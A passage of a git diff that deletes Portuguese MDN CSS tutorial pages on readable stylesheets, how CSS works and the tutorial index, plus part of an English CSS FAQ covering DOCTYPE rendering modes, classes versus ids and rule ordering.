- </tbody>
-</table>
-
-<h3 id="O_que_vem_depois.3F" name="O_que_vem_depois.3F">O que vem depois?</h3>
-
-<p>Se você teve dificuldade para entender esta página, ou se você tem algum comentário sobre ela, por favor contribua nesta página de <a href="/Talk:pt/CSS/Como_come%C3%A7ar/Disposi%C3%A7%C3%A3o" title="Talk:pt/CSS/Como_começar/Disposição">Discussão</a>.</p>
-
-<p>A próxima página descreve seletores para regras mais avançadas das CSS, e algumas maneiras específicas de estilizar tabelas: <strong><a href="/pt/CSS/Como_come%C3%A7ar/Tabelas" title="pt/CSS/Como_começar/Tabelas">Tabelas</a></strong></p>
-
-<p>{{ PreviousNext("CSS:Como começar:Caixas", "CSS:Como começar:Tabelas") }}</p>
diff --git a/files/pt-pt/learn/css/first_steps/how_css_is_structured/index.html b/files/pt-pt/learn/css/first_steps/how_css_is_structured/index.html
deleted file mode 100644
index 46e7d2db08..0000000000
--- a/files/pt-pt/learn/css/first_steps/how_css_is_structured/index.html
+++ /dev/null
@@ -1,189 +0,0 @@
----
-title: CSS legível
-slug: Learn/CSS/First_steps/How_CSS_is_structured
-tags:
- - CSS:Como_começar
-translation_of: Learn/CSS/Introduction_to_CSS/Syntax#Beyond_syntax_make_CSS_readable
-translation_of_original: Web/Guide/CSS/Getting_started/Readable_CSS
-original_slug: Web/CSS/Como_começar/CSS_legível
----
-<p>{{ PreviousNext("CSS:Como começar:Seletores", "CSS:Como começar:Estilos de texto") }}</p>
-
-<p>Esta página discute o estilo e a gramática da linguagem CSS.</p>
-
-<p>Você muda a maneira em que seu arquivo de amostra CSS é exibido, para torná-lo mais legível.</p>
-
-<h2 id="Informa.C3.A7.C3.A3o:_CSS_leg.C3.ADvel" name="Informa.C3.A7.C3.A3o:_CSS_leg.C3.ADvel">Informação: CSS legível</h2>
-
-<p>Você pode adicionar espaço em branco e comentários na sua folha de estilo para fazê-la mais legível. Você pode também juntar seletores de grupo, quando as mesmas regras de estilo se aplicam aos elementos selecionados em meios diferentes.</p>
-
-<h3 id="Espa.C3.A7o_em_branco" name="Espa.C3.A7o_em_branco">Espaço em branco</h3>
-
-<p>Espaços em branco significam espaços reais, tabs e quebras de linha. Você pode adicionar espaços em branco para tornar suas folhas de estilo mais legíveis.</p>
-
-<p>Seu arquivo de amostra de CSS atualmente tem uma regra por linha, e quase o mínimo de espaço em branco. Em uma uma folha de estilo complexa esta disposição pode dificultar a leitura, dificultando também a manutenção da sua folha de estilo.</p>
-
-<p>A disposição que você escolhe é usualmente um preferência pessoal, mas se suas folhas de estilo são parte de projetos compartilhados, estes projetos podem ter suas próprias convenções.</p>
-
-<table style="border: 1px solid #36b; padding: 1em; background-color: #fffff4; margin-bottom: 1em;">
- <caption>Exemplos</caption>
- <tbody>
- <tr>
- <td>Algumas pessoas gostam de uma diposição compacta que temos usado, somente dividindo a linha quando ela se torna muito longa:
- <pre>
-.carrot {color: orange; text-decoration: underline; font-style: italic;}
-</pre>
-
- <p>Algumas pessoas preferem uma propriedade-valor por linha:</p>
-
- <div style="width: 45em;">
- <pre class="eval">
-.carrot
-{
-color: orange;
-text-decoration: underline;
-font-style: italic;
-}
-</pre>
- </div>
-
- <p>Algumas pessoas usam tabs – dois espaços, quatro espaços, ou um tab são comuns:</p>
-
- <div style="width: 45em;">
- <pre class="eval">
-.carrot {
- color: orange;
- text-decoration: underline;
- font-style: italic;
-}
-</pre>
- </div>
-
- <p>Algumas pessoas gostam de enfileirar a linha verticalmente (mas é difícil de manter uma disposição assim):</p>
-
- <div style="width: 45em;">
- <pre class="eval">
-.carrot
- {
- color  : orange;
- text-decoration : underline;
- font-style  : italic;
- }
-</pre>
- </div>
-
- <p>Algumas pessoas usam tabs para a disposição. Algumas pessoas usam somente espaços.</p>
- </td>
- </tr>
- </tbody>
-</table>
-
-<h3 id="Coment.C3.A1rios" name="Coment.C3.A1rios">Comentários</h3>
-
-<p>Comentários em CSS começam com <code>/*</code> e terminam com <code>*/</code>.</p>
-
-<p>Você pode usar comentários para fazer comentários reais na sua folha de estilo, e também para <em>descomentar</em> partes que estiverem temporariamente para propósito de testes.</p>
-
-<p>Para comentar parte da folha de estilo, coloque a parte em um comentário então o navegador ignorará isso. Tome cuidado onde você começa e termina o seu comentário. O resto da sua folha de estilo ainda deve ter a sintaxe correta.</p>
-
-<table style="border: 1px solid #36b; padding: 1em; background-color: #fffff4; margin-bottom: 1em;">
- <caption>Exemplo</caption>
- <tbody>
- <tr>
- <td>
- <div style="width: 45em;">
- <pre class="eval">
-/* Estilo para a letra C inicial no primeiro parágrafo */
-.carrot {
- color: orange;
- text-decoration: underline;
- font-style: italic;
- }
-</pre>
- </div>
- </td>
- </tr>
- </tbody>
-</table>
-
-<h3 id="Seletores_agrupados" name="Seletores_agrupados">Seletores agrupados</h3>
-
-<p>Quando muitos elementos tiverem o mesmo estilo, você pode especificar um grupo de seletores, separando-os com comentários. A declaração se aplica a todos os elementos selecionados.</p>
-
-<p>Em outra parte da sua folha de estilo você pode especificar os mesmos seletores, de novo individualmente, para aplicar estilo individual às suas regras.</p>
-
-<table style="border: 1px solid #36b; padding: 1em; background-color: #fffff4; margin-bottom: 1em;">
- <caption>Exemplo</caption>
- <tbody>
- <tr>
- <td>Esta regra faz os elementos <small>H1</small>, <small>H2</small> and <small>H3</small> da mesma cor.
- <p>Isto é conveniente para especificar a cor em somente um lugar, no caso em que precisa ser alterado.</p>
-
- <div style="width: 30em;">
- <pre class="eval">
-/* cores para os cabeçalhos */
-h1, h2, h3 {color: navy;}
-</pre>
- </div>
- </td>
- </tr>
- </tbody>
-</table>
-
-<h2 id="A.C3.A7.C3.A3o:_Adicionando_coment.C3.A1rios_e_melhorando_o_arranjo" name="A.C3.A7.C3.A3o:_Adicionando_coment.C3.A1rios_e_melhorando_o_arranjo">Ação: Adicionando comentários e melhorando o arranjo</h2>
-
-<p>Edite seu arquivo CSS, e assegure-se que ele tem todas as regras nele (em qualquer ordem):</p>
-
-<div style="width: 30em;">
-<pre class="eval">strong {color: red;}
-.carrot {color: orange;}
-.spinach {color: green;}
-#first {font-style: italic;}
-p {color: blue;}
-</pre>
-</div>
-
-<p>Faça isto mais legível rearranjando isto em um meio que possa ser achado lógicamente, adicionando espaços em branco e comentários da maneira que você achar melhor.</p>
-
-<p>Salve o arquivo e atualize a tela do seu navegador, assegure-se que as mudanças que você fez não afetaram o modo como a folha de estilo trabalha:</p>
-
-<table style="border: 2px outset #36b; padding: 1em;">
- <tbody>
- <tr>
- <td style="font-style: italic; color: blue;"><strong style="color: orange;">C</strong>ascading <strong style="color: green;">S</strong>tyle <strong style="color: green;">S</strong>heets</td>
- </tr>
- <tr>
- <td style="color: blue;"><strong style="color: red;">C</strong>ascading <strong style="color: red;">S</strong>tyle <strong style="color: red;">S</strong>heets</td>
- </tr>
- </tbody>
-</table>
-
-<table style="border: 1px solid #36b; padding: 1em; background-color: #ffe;">
- <caption>Desafio</caption>
- <tbody>
- <tr>
- <td>Comente parte de sua folha de estilo, sem mudar qualquer coisa, para fazer a primeira letra de seu documento vermelha:
- <table style="border: 2px outset #36b; padding: 1em; background-color: white;">
- <tbody>
- <tr>
- <td style="font-style: italic; color: blue;"><strong style="color: red;">C</strong>ascading <strong style="color: green;">S</strong>tyle <strong style="color: green;">S</strong>heets</td>
- </tr>
- <tr>
- <td style="color: blue;"><strong style="color: red;">C</strong>ascading <strong style="color: red;">S</strong>tyle <strong style="color: red;">S</strong>heets</td>
- </tr>
- </tbody>
- </table>
-
- <p>(Existe mais de uma maneira de fazer isto.)</p>
- </td>
- </tr>
- </tbody>
-</table>
-
-<h3 id="O_que_vem_depois.3F" name="O_que_vem_depois.3F">O que vem depois?</h3>
-
-<p>Se você teve dificuldade para entender esta página, ou se você tem algum comentário sobre ela, por favor contribua nesta página de <a href="/Talk:pt/CSS/Como_come%C3%A7ar/CSS_leg%C3%ADvel" title="Talk:pt/CSS/Como_começar/CSS_legível">Discussão</a>.</p>
-
-<p>Seu documento de amostra usou o texto em itálico e o texto com sublinhado. A próxima página descreve mais caminhos para especificar a aparência do texto no seu documento: <strong><a href="/pt/CSS/Como_come%C3%A7ar/Estilos_de_texto" title="pt/CSS/Como_começar/Estilos_de_texto">Estilos de texto</a></strong></p>
-
-<p>{{ PreviousNext("CSS:Como começar:Seletores", "CSS:Como começar:Estilos de texto") }}</p>
diff --git a/files/pt-pt/learn/css/first_steps/how_css_works/index.html b/files/pt-pt/learn/css/first_steps/how_css_works/index.html
deleted file mode 100644
index f73b96a63a..0000000000
--- a/files/pt-pt/learn/css/first_steps/how_css_works/index.html
+++ /dev/null
@@ -1,131 +0,0 @@
----
-title: Como o CSS trabalha
-slug: Learn/CSS/First_steps/How_CSS_works
-tags:
- - CSS:Como_começar
-translation_of: Learn/CSS/First_steps/How_CSS_works
-translation_of_original: Web/Guide/CSS/Getting_started/How_CSS_works
-original_slug: Web/CSS/Como_começar/Como_o_CSS_trabalha
----
-<p>{{ PreviousNext("CSS:Como começar:Porque usar CSS", "CSS:Como começar:Cascata e herança") }}</p>
-
-<p>Esta página explica como o CSS trabalha no seu navegador. Você analiza seu documento de amostra, reavaliando os detalhes do seu estilo.</p>
-
-<h2 id="Informa.C3.A7.C3.A3o:_Como_o_CSS_trabalha" name="Informa.C3.A7.C3.A3o:_Como_o_CSS_trabalha">Informação: Como o CSS trabalha</h2>
-
-<p>Quando o Mozilla exibe um documento, é necessário combinar o conteúdo do documento com seu estilo de informação. Então o documento é processado em dois estágios:</p>
-
-<ul>
- <li>No primeiro estágio, o Mozilla converte a linguagem de marcação e o CSS em <em>DOM</em> (Document Object Model - Modelo de Objeto de Documento). O DOM representa o documento na memória do computador. Isto combina o conteúdo do documento com seu estilo.</li>
-</ul>
-
-<ul>
- <li>No segundo estágio, o Mozilla exibe o DOM.</li>
-</ul>
-
-<p>Uma linguagem de marcação usa tags para definir a estrutura do documento. Uma tag pode armazenar outras tags entre seu início e fim.</p>
-
-<p>Um DOM tem a estrutura como a de uma árvore. Cada tag e período do texto na linguagem de marcação torna-se um <em>nó</em> na estrutura da árvore. Os nós do DOM não são armazenadores. Em substituição, eles são primários aos nós subordinados.</p>
-
-<p>Os nós que correspondem a tags também são conhecidos por <em>elementos</em>.</p>
-
-<table style="border: 1px solid #36b; padding: 1em; background-color: #fffff4; margin-bottom: 1em;">
- <caption>Exemplo</caption>
- <tbody>
- <tr>
- <td>No seu documento de amostra, a tag <code>&lt;p&gt;</code> e seu fim <code>&lt;/p&gt;</code> criam um armazenamento:
- <div style="width: 24em;">
- <pre class="eval">
-&lt;p&gt;
- &lt;strong&gt;C&lt;/strong&gt;ascading
- &lt;strong&gt;S&lt;/strong&gt;tyle
- &lt;strong&gt;S&lt;/strong&gt;heets
-&lt;/p&gt;
-</pre>
- </div>
-
- <p>No DOM, o corespondente ao nó P é um primário. Os subordinados são os nós <small>STRONG</small> e os nós do texto. Os nós <small>STRONG</small> são os primários, e os nós do texto são os subordinados.</p>
-
- <div style="width: 24em; color: #47c; white-space: pre; padding: 0 0 0 2em;">
- <p><span style="color: black;">P</span> ├─<span style="color: black;">STRONG</span> │ │ │ └─"<span style="color: black;">C</span>"<br>
- │<br>
- ├─"<span style="color: black;">ascading</span>"<br>
- │<br>
- ├─<span style="color: black;">STRONG</span> │ │ │ └─"<span style="color: black;">S</span>"<br>
- │<br>
- ├─"<span style="color: black;">tyle</span>"<br>
- │<br>
- ├─<span style="color: black;">STRONG</span> │ │ │ └─"<span style="color: black;">S</span>"<br>
- │<br>
- └─"<span style="color: black;">heets</span>"</p>
- </div>
- </td>
- </tr>
- </tbody>
-</table>
-
-<p>O entendimento do DOM ajuda-o a projetar, depurar e manter seu CSS, pois o DOM é onde o seu CSS e o conteúdo do documento se unem.</p>
-
-<h2 id="A.C3.A7.C3.A3o:_Analizando_um_DOM" name="A.C3.A7.C3.A3o:_Analizando_um_DOM">Ação: Analizando um DOM</h2>
-
-<p>Para analizar um DOM, você precisa de um software especial. Aqui, você usa o <a href="/pt/DOM_Inspector" title="pt/DOM_Inspector">DOM Inspector</a> (DOMi) da Mozilla para analizar um DOM.</p>
-
-<p>Use seu navegador Mozilla para abrir seu documento simples.</p>
-
-<p>Na barra de menu do seu navegador, escolha Ferramentas – DOM Inspector, ou talvez Ferramentas – Desenvolvimento Web – DOM Inspector.</p>
-
-<table style="border: 1px solid #36b; background-color: #f4f4f4; padding: 1em;">
- <caption>Mais detalhes</caption>
- <tbody>
- <tr>
- <td>Se seu navegador Mozilla não tem o DOMi, você pode reinstalá-lo assegurando-se de escolher para instalar o componente de ferramentas da web. Então retorne a este tutorial.
- <p>Se você não quiser instalar o DOMi, você pode pular esta seção e ir diretamente para a próxima página. Pulando esta seção você não interfere com o resto deste tutorial.</p>
- </td>
- </tr>
- </tbody>
-</table>
-
-<p><br>
- No DOMi, expanda os nós do seu documento clicando em suas flechas.</p>
-
-<p><strong>Nota:</strong> O espaçamento em seu arquivo HTML faz com que o DOMi mostre alguns nós de texto vazios, que você pode ignorar.</p>
-
-<p>O resultado deve ser parecido com isto, dependendo do que você tenha expandido:</p>
-
-<table style="border: 2px outset #36b; padding: 0 0 0 2em;">
- <tbody>
- <tr>
- <td>
- <div style="width: 30em; background-color: transparent; margin: 0px; border: 0px; padding: 0px; color: gray; white-space: pre;">
- <p>│<br>
- <span style="font-size: 133%;">▼</span>╴<span style="color: black;">P</span> │ │ │ <span style="font-size: 133%;">▼</span>╴<span style="color: black;">STRONG</span> │ │ └<span style="color: darkblue;">#text</span> │ ├╴<span style="color: darkblue;">#text</span> │ <span style="font-size: 133%;">▶</span>╴<span style="color: black;">STRONG</span> │ │</p>
- </div>
- </td>
- </tr>
- </tbody>
-</table>
-
-<p>Quando você seleciona algum nó, você pode usar o painel direito do DOMi para achar mais sobre ele. Por exemplo, quando você seleciona um nó do texto, DOMi mostra para você o texto no painel da direita.</p>
-
-<p>Quando você seleciona um elemento nó, DOMi o analiza e fornece uma enorme quantidade de informações no seu painel direito. A informação sobre estilo é somente uma parte das informações que ele fornece.</p>
-
-<table style="border: 1px solid #36b; padding: 1em; background-color: #ffe;">
- <caption>Desafio</caption>
- <tbody>
- <tr>
- <td>No DOMi, clique no nó <small>STRONG</small>.
- <p>Use o painel direito do DOMi para achar onde fica a cor do nó (vermelho) e onde sua aparência é mais forte que o texto normal (negrito).</p>
- </td>
- </tr>
- </tbody>
-</table>
-
-<h3 id="O_que_vem_depois.3F" name="O_que_vem_depois.3F">O que vem depois?</h3>
-
-<p>Se você teve dificuldade para entender esta página, ou se você tem algum comentário sobre ela, por favor contribua nesta página de <a href="/Talk:pt/CSS/Como_come%C3%A7ar/Como_o_CSS_trabalha" title="Talk:pt/CSS/Como_começar/Como_o_CSS_trabalha">Discussão</a>.</p>
-
-<p>Se você tomou o desafio, você viu o estilo da informação em mais de um lugar interagir para criar o estilo final para um elemento.</p>
-
-<p>A próxima página explica mais sobre estas interações: <strong><a href="/pt/CSS/Como_come%C3%A7ar/Cascata_e_heran%C3%A7a" title="pt/CSS/Como_começar/Cascata_e_herança">Cascata e herança</a></strong></p>
-
-<p>{{ PreviousNext("CSS:Como começar:Porque usar CSS", "CSS:Como começar:Cascata e herança") }}</p>
diff --git a/files/pt-pt/learn/css/first_steps/index.html b/files/pt-pt/learn/css/first_steps/index.html
deleted file mode 100644
index bb21186eda..0000000000
--- a/files/pt-pt/learn/css/first_steps/index.html
+++ /dev/null
@@ -1,93 +0,0 @@
----
-title: Como começar
-slug: Learn/CSS/First_steps
-tags:
- - CSS
- - CSS:Como_começar
- - Todas_as_Categorias
-translation_of: Learn/CSS/First_steps
-translation_of_original: Web/Guide/CSS/Getting_started
-original_slug: Web/CSS/Como_começar
----
-<p> </p>
-
-<h3 id="Introdu.C3.A7.C3.A3o" name="Introdu.C3.A7.C3.A3o">Introdução</h3>
-
-<p>Este tutorial o introduz às CSS (Cascading Style Sheets - Folhas de Estilo em Cascata).</p>
-
-<p>Este tutorial o orienta nos recursos básicos de CSS com exemplos práticos que você pode experimentar sozinho em seu computador. Ele é dividido em duas partes:</p>
-
-<ul>
- <li>A Parte I ilustra os recursos básicos das CSS que funcionam nos navegadores Mozilla e também na maioria dos navegadores modernos.</li>
-</ul>
-
-<ul>
- <li>A Parte II contém alguns exemplos de recursos especiais que funcionam no Mozilla, mas não necessariamente em outros ambientes.</li>
-</ul>
-
-<p>Este tutorial é baseado na <a class="external" href="http://www.w3.org/TR/CSS21/">CSS 2.1 Specification</a>.</p>
-
-<h4 id="Quem_deve_ler_este_tutorial.3F" name="Quem_deve_ler_este_tutorial.3F">Quem deve ler este tutorial?</h4>
-
-<p>Este tutorial é direcionado para iniciantes em CSS, mas você também poderá usá-lo caso tenha alguma experiência em CSS.</p>
-
-<p>Se você é um iniciante em CSS, leia a Parte I deste tutorial para entender CSS e aprender a usá-lo. Em seguida, leia a Parte II para entender o escopo de CSS no Mozilla.</p>
-
-<p>Se você conhece CSS, poderá ignorar as partes desse tutorial que já conhece e ler apenas as partes que lhe interessam.</p>
-
-<p>Se você já tem experiência em CSS mas não no Mozilla, pode ir direto para a Parte II.</p>
-
-<h4 id="O_que_voc.C3.AA_precisa_antes_de_come.C3.A7ar.3F" name="O_que_voc.C3.AA_precisa_antes_de_come.C3.A7ar.3F">O que você precisa antes de começar?</h4>
-
-<p>Para melhor aproveitar este tutorial, você precisa de um editor de arquivos de texto e um navegador Mozilla (Firefox, Mozilla Suite ou Seamonkey). Você também deve saber como utilizá-los de um modo básico.</p>
-
-<p>Se não deseja editar arquivos, você pode apenas ler o tutorial e observar as imagens, mas este não é o melhor modo de aprendizado.</p>
-
-<p>Poucas partes deste tutorial podem requerer outro software Mozilla. Essas partes são opcionais. Você pode ignorar essas partes se não desejar fazer o download de outro software Mozilla.</p>
-
-<p><strong>Nota:</strong> As CSS oferece modos de se trabalhar com cores, de modo que partes deste tutorial dependem de cores. Você poderá utilizar essas partes facilmente somente se tiver um monitor colorido e uma visão colorida normal.</p>
-
-<h4 id="Como_utilizar_este_tutorial" name="Como_utilizar_este_tutorial">Como utilizar este tutorial</h4>
-
-<p>Para utilizar este tutorial, leia cuidadosamente as páginas e em seqüência. Se perder uma página, você poderá ter dificuldades para entender as páginas posteriores.</p>
-
-<p>Em cada página, utilize a seção<em>Informações</em> para entender como o CSS funciona. Utilize a seção<em>Ações</em> para tentar usar o CSS em seu próprio computador.</p>
-
-<p>Para testar seus conhecimentos, faça o teste ao final de cada página. As soluções para alguns testes são reveladas nas páginas posteriores no tutorial.</p>
-
-<p>Para se aprofundar em CSS, leia as informações nas caixas entituladas<em>Mais detalhes</em>. Utilize os links para localizar informações referentes às CSS.</p>
-
-<h3 id="Tutorial_Parte_I" name="Tutorial_Parte_I">Tutorial Parte I</h3>
-
-<p>Um guia passo-a-passo para CSS.</p>
-
-<ol>
- <li><strong><a href="pt/CSS/Como_come%c3%a7ar/O_que_%c3%a9_CSS">O que é CSS</a></strong></li>
- <li><strong><a href="pt/CSS/Como_come%c3%a7ar/Porque_usar_CSS">Porque usar CSS</a></strong></li>
- <li><strong><a href="pt/CSS/Como_come%c3%a7ar/Como_o_CSS_trabalha">Como o CSS trabalha</a></strong></li>
- <li><strong><a href="pt/CSS/Como_come%c3%a7ar/Cascata_e_heran%c3%a7a">Cascata e herança</a></strong></li>
- <li><strong><a href="pt/CSS/Como_come%c3%a7ar/Seletores">Seletores</a></strong></li>
- <li><strong><a href="pt/CSS/Como_come%c3%a7ar/CSS_leg%c3%advel">CSS legível</a></strong></li>
- <li><strong><a href="pt/CSS/Como_come%c3%a7ar/Estilos_de_texto">Estilos de texto</a></strong></li>
- <li><strong><a href="pt/CSS/Como_come%c3%a7ar/Cor">Cor</a></strong></li>
- <li><strong><a href="pt/CSS/Como_come%c3%a7ar/Conte%c3%bado">Conteúdo</a></strong></li>
- <li><strong><a href="pt/CSS/Como_come%c3%a7ar/Listas">Listas</a></strong></li>
- <li><strong><a href="pt/CSS/Como_come%c3%a7ar/Caixas">Caixas</a></strong></li>
- <li><strong><a href="pt/CSS/Como_come%c3%a7ar/Disposi%c3%a7%c3%a3o">Disposição</a></strong></li>
- <li><strong><a href="pt/CSS/Como_come%c3%a7ar/Tabelas">Tabelas</a></strong></li>
- <li><strong><a href="/pt-PT/docs/Web/CSS/Como_começar/Mídia">Média</a></strong></li>
-</ol>
-
-<h3 id="Tutorial_Parte_II" name="Tutorial_Parte_II">Tutorial Parte II</h3>
-
-<p>Exemplos que mostram o escopo da CSS no Mozilla.</p>
-
-<ol>
- <li><strong><a href="pt/CSS/Como_come%c3%a7ar/JavaScript">JavaScript</a></strong></li>
- <li><strong><a href="pt/CSS/Como_come%c3%a7ar/XBL_bindings">XBL bindings</a></strong></li>
- <li><strong><a href="pt/CSS/Como_come%c3%a7ar/Interfaces_de_usu%c3%a1rio_XUL">Interfaces de usuário XUL</a></strong></li>
- <li><strong><a href="pt/CSS/Como_come%c3%a7ar/Gr%c3%a1ficos_SVG">Gráficos SVG</a></strong></li>
- <li><strong><a href="pt/CSS/Como_come%c3%a7ar/Dados_XML">Dados XML</a></strong></li>
-</ol>
-
-<p>{{ languages( { "en": "en/CSS/Getting_Started", "fr": "fr/CSS/Premiers_pas", "it": "it/Conoscere_i_CSS", "ja": "ja/CSS/Getting_Started", "nl": "nl/CSS/Voor_Beginners", "pl": "pl/CSS/Na_pocz\u0105tek", "zh-cn": "cn/CSS/\u5f00\u59cb" } ) }}</p>
diff --git a/files/pt-pt/learn/css/howto/css_faq/index.html b/files/pt-pt/learn/css/howto/css_faq/index.html
deleted file mode 100644
index e0e558f33b..0000000000
--- a/files/pt-pt/learn/css/howto/css_faq/index.html
+++ /dev/null
@@ -1,230 +0,0 @@
----
-title: Perguntas Frequentes sobre CSS
-slug: Learn/CSS/Howto/CSS_FAQ
-tags:
- - CSS
- - Exemplo
- - FAQ
- - Guía
- - Web
- - questões
-translation_of: Learn/CSS/Howto/CSS_FAQ
-original_slug: Learn/CSS/Howto/FAQ_de_CSS
----
-<h2 id="Why_doesn't_my_CSS_which_is_valid_render_correctly">Why doesn't my CSS, which is valid, render correctly?</h2>
-
-<p>Browsers use the <code>DOCTYPE</code> declaration to choose whether to show the document using a mode that is more compatible  with Web standards or with old browser bugs. Using a correct and modern <code>DOCTYPE</code> declaration at the start of your HTML will improve browser standards compliance.</p>
-
-<p>Modern browsers have two main rendering modes:</p>
-
-<ul>
- <li><em>Quirks Mode</em>: also called backwards-compatibility mode, allows legacy webpages to be rendered as their authors intended, following the non-standard rendering rules used by older browsers. Documents with an incomplete, incorrect, or missing <code>DOCTYPE</code> declaration or a known <code>DOCTYPE</code> declaration in common use before 2001 will be rendered in Quirks Mode.</li>
- <li><em>Standards Mode</em>: the browser attempts to follow the W3C standards strictly. New HTML pages are expected to be designed for standards-compliant browsers, and as a result, pages with a modern <code>DOCTYPE</code> declaration will be rendered with Standards Mode.</li>
-</ul>
-
-<p>Gecko-based browsers, have a third <em><a href="/en-US/docs/Gecko's_&quot;Almost_Standards&quot;_Mode" title="Gecko's_&quot;Almost_Standards&quot;_Mode">Almost Standards Mode</a></em> that has only a few minor quirks.</p>
-
-<p>This is a list of the most commonly used <code>DOCTYPE</code> declarations that will trigger Standards or Almost Standards mode:</p>
-
-<pre>&lt;!DOCTYPE html&gt; /* This is the HTML5 doctype. Given that each modern browser uses an HTML5
- parser, this is the recommended doctype */
-
-&lt;!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"
-"http://www.w3.org/TR/html4/loose.dtd"&gt;
-
-&lt;!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"
-"http://www.w3.org/TR/html4/strict.dtd"&gt;
-
-&lt;!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
-"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"&gt;
-
-&lt;!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
-"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"&gt;
-</pre>
-
-<p>When at all possible, you should just use the HTML5 doctype.</p>
-
-<h2 id="My_CSS_is_valid.2C_but_not_correctly_rendered" name="My_CSS_is_valid.2C_but_not_correctly_rendered">Why doesn't my CSS, which is valid, render at all?</h2>
-
-<p>Here are some possible causes:</p>
-
-<ul>
- <li>You've got the path to CSS file wrong.</li>
- <li>To be applied, a CSS stylesheet must be served with a <code>text/css</code> MIME type. If the Web server doesn't serve it with this type, it won't be applied.</li>
-</ul>
-
-<h2 id="Difference_between_id_and_class" name="Difference_between_id_and_class">What is the difference between <code>id</code> and <code>class</code>?</h2>
-
-<p>HTML elements can have an <code>id</code> and/or <code>class</code> attribute. The <code>id</code> attribute assigns a name to the element it is applied to, and for valid markup, there can be only one element with that name. The <code>class</code> attribute assigns a class name to the element, and that name can be used on many elements within the page. CSS allows you to apply styles to particular <code>id</code> and/or <code>class</code> names.</p>
-
-<ul>
- <li>Use a class-specific style when you want to apply the styling rules to many blocks and elements within the page, or when you currently only have element to style with that style, but you might want to add more later.</li>
- <li>Use an id-specific style when you need to restrict the applied styling rules to one specific block or element. This style will only be used by the element with that particular id.</li>
-</ul>
-
-<p>It is generally recommended to use classes as much as possible, and to use ids only when absolutely necessary for specific uses (like to connect label and form elements or for styling elements that must be semantically unique):</p>
-
-<ul>
- <li>Using classes makes your styling extensible — even if you only have one element to style with a particular ruleset now, you might want to add more later.</li>
- <li>Classes allow you to style multiple elements, therefore they can lead to shorter stylesheets, rather than having to write out the same styling information in multiple rules that use id selectors. Shorter stylesheets are more performant.</li>
- <li>Class selectors have lower <a href="/en-US/docs/Learn/CSS/Introduction_to_CSS/Cascade_and_inheritance#Specificity">specificity</a> than id selectors, so are easier to override if needed.</li>
-</ul>
-
-<div class="note">
-<p><strong>Note</strong>: See <a href="/en-US/docs/Learn/CSS/Introduction_to_CSS/Selectors">Selectors</a> for more information.</p>
-</div>
-
-<h2 id="Restoring_the_default_property_value" name="Restoring_the_default_property_value">How do I restore the default value of a property?</h2>
-
-<p>Initially CSS didn't provide a "default" keyword and the only way to restore the default value of a property is to explicitly re-declare that property. For example:</p>
-
-<pre class="brush: css">/* Heading default color is black */
-h1 { color: red; }
-h1 { color: black; }</pre>
-
-<p>This has changed with CSS 2; the keyword <a href="/es/CSS/initial" title="initial">initial</a> is now a valid value for a CSS property. It resets it to its default value, which is defined in the CSS specification of the given property.</p>
-
-<pre class="brush: css">/* Heading default color is black */
-h1 { color: red; }
-h1 { color: initial; }</pre>
-
-<h2 id="Derived_styles" name="Derived_styles">How do I derive one style from another?</h2>
-
-<p>CSS does not exactly allow one style to be defined in terms of another. (See <a href="http://archivist.incutio.com/viewlist/css-discuss/2685">Eric Meyer's note about the Working Group's stance</a>). However, assigning multiple classes to a single element can provide the same effect, and <a href="/en-US/docs/Web/CSS/Using_CSS_variables">CSS Variables</a> now provide a way to define style information in one place that can be reused in multiple places.</p>
-
-<h2 id="Assigning_multiple_classes" name="Assigning_multiple_classes">How do I assign multiple classes to an element?</h2>
-
-<p>HTML elements can be assigned multiple classes by listing the classes in the <code>class</code> attribute, with a blank space to separate them.</p>
-
-<pre>&lt;style type="text/css"&gt;
-.news { background: black; color: white; }
-.today { font-weight: bold; }
-&lt;/style&gt;
-
-&lt;div class="news today"&gt;
-... content of today's news ...
-&lt;/div&gt;
-</pre>
-
-<p>If the same property is declared in both rules, the conflict is resolved first through specificity, then according to the order of the CSS declarations. The order of classes in the <code>class</code> attribute is not relevant.</p>
-
-<h2 id="Style_rules_that_don.27t_work" name="Style_rules_that_don.27t_work">Why don't my style rules work properly?</h2>
-
-<p>Style rules that are syntactically correct may not apply in certain situations. You can use <a href="/en-US/docs/DOM_Inspector" title="DOM_Inspector">DOM Inspector</a>'s <em>CSS Style Rules</em> view to debug problems of this kind, but the most frequent instances of ignored style rules are listed below.</p>
-
-<h3 id="HTML_elements_hierarchy" name="HTML_elements_hierarchy">HTML elements hierarchy</h3>
-
-<p>The way CSS styles are applied to HTML elements depends also on the elements hierarchy. It is important to remember that a rule applied to a descendent overrides the style of the parent, in spite of any specificity or priority of CSS rules.</p>
-
-<pre>.news { color: black; }
-.corpName { font-weight: bold; color: red; }
-
-&lt;!-- news item text is black, but corporate name is red and in bold --&gt;
-&lt;div class="news"&gt;
- (Reuters) &lt;span class="corpName"&gt;General Electric&lt;/span&gt; (GE.NYS) announced on Thursday...
-&lt;/div&gt;
-</pre>
-
-<p>In case of complex HTML hierarchies, if a rule seems to be ignored, check if the element is inside another element with a different style.</p>
-
-<h3 id="Explicitly_re-defined_style_rule" name="Explicitly_re-defined_style_rule">Explicitly re-defined style rule</h3>
-
-<p>In CSS stylesheets, order <strong>is</strong> important. If you define a rule and then you re-define the same rule, the last definition is used.</p>
-
-<pre>#stockTicker { font-weight: bold; }
-.stockSymbol { color: red; }
-/* other rules */
-/* other rules */
-/* other rules */
-.stockSymbol { font-weight: normal; }
-
-&lt;!-- most text is in bold, except "GE", which is red and not bold --&gt;
-&lt;div id="stockTicker"&gt;
- NYS: &lt;span class="stockSymbol"&gt;GE&lt;/span&gt; +1.0 ...
-&lt;/div&gt;
-</pre>
-
-<p>To avoid this kind of error, try to define rules only once for a certain selector, and group all rules belonging to that selector.</p>
-
-<h3 id="Use_of_a_shorthand_property" name="Use_of_a_shorthand_property">Use of a shorthand property</h3>
-
-<p>Using shorthand properties for defining style rules is good because it uses a very compact syntax. Using shorthand with only some attributes is possible and correct, but it must be remembered that undeclared attributes are automatically reset to their default values. This means that a previous rule for a single attribute could be implicitly overridden.</p>
-
-<pre>#stockTicker { font-size: 12px; font-family: Verdana; font-weight: bold; }
